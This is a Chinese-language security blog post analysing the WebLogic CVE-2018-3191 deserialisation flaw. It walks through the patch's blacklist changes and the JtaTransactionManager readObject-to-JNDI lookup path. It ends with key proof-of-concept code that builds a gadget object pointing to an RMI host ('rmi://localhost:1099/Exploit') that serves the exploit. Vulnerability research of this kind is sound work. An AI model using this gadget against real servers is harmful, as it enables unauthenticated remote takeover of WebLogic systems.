Weblogic CVE-2018-3191分析-安全KER

作者：廖新喜

背景

北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。这个漏洞由Matthias Kaiser，loopx9，Li Zhengdong申报。

补丁分析

如下图所示

这回的补丁主要增加了两个大类黑名单，分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞，当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入，从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样，只是来源于不同的包。

动态分析

通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁，就是AbstractPlatformTransactionManager，用于防止Spring JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。

public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {

  public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";

  public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};

  public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";

  private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";

  private transient JndiTemplate jndiTemplate;

  private transient UserTransaction userTransaction;

  private String userTransactionName;

   .....

JtaTransactionManager类继承自AbstractPlatformTransactionManager，实现了Serializable接口，其中私有属性userTransactionName是用于JNDI寻址。在Java反序列化中，入口有很多，readObject是最常见的，定位到JtaTransactionManager.readObject方法，实现如下：

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

  ois.defaultReadObject();

  this.jndiTemplate = new JndiTemplate();

  this.initUserTransactionAndTransactionManager();

  this.initTransactionSynchronizationRegistry();

}

继续跟踪initUserTransactionAndTransactionManager方法的实现：

protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {

  if (this.userTransaction == null) {

     if (StringUtils.hasLength(this.userTransactionName)) {

        this.userTransaction = this.lookupUserTransaction(this.userTransactionName);

        this.userTransactionObtainedFromJndi = true;

     } else {

        this.userTransaction = this.retrieveUserTransaction();

     }

  }

.....

在 initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction 关键寻址部分代码如下：

protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {

  try {

     if (this.logger.isDebugEnabled()) {

        this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");

     }



     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

  } catch (NamingException var3) {

     throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);

  }

}

有了如上的分析，构造PoC也是水到渠成，下面是PoC的关键代码：

public static Object getJtaTransactionManagerObject(String command){

int seq = command.indexOf(':');

if (seq < 0){

command = "rmi://localhost:1099/Exploit";

}

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();

jtaTransactionManager.setUserTransactionName(command);

return jtaTransactionManager;



}

更详细的关于JNDI的使用可参考作者以前的博文，这里不再重复。漏洞效果如下图：